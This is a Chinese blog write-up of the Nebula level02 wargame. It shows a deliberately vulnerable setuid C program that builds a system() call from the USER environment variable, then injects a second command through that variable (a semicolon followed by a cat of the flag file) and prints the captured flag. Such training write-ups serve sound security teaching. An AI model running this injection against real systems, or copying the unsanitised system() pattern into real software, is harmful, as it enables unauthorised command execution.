

# i春秋 - Exploit-Exercises: Nebula - level02

原创

[ichalex](#) 于 2017-02-25 21:53:03 发布 1010 收藏

分类专栏: [exploit](#) 文章标签: [exploit](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/SCNU\\_Jiechao/article/details/57129084](https://blog.csdn.net/SCNU_Jiechao/article/details/57129084)

版权



[exploit](#) 专栏收录该内容

13 篇文章 0 订阅

订阅专栏

## About

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

## Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    char *buffer;

    gid_t gid;
    uid_t uid;

    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    buffer = NULL;

    asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
    printf("about to call system(\"%s\")\n", buffer);

    system(buffer);
}
```

[Nebula官网](#)

## 程序逻辑

输出环境变量USER很cool

## 思路

覆盖环境变量USER

```
USER=";cat /home/flag02/flag"  
/home/flag02/flag02
```

```
level02@nebula:/tmp$ /home/flag02/flag02  
about to call system("/bin/echo ;cat /home/flag02/flag is cool")  
flag{YACMD5MYX}cat: is: No such file or directory  
cat: cool: No such file or directory  
level02@nebula:/tmp$
```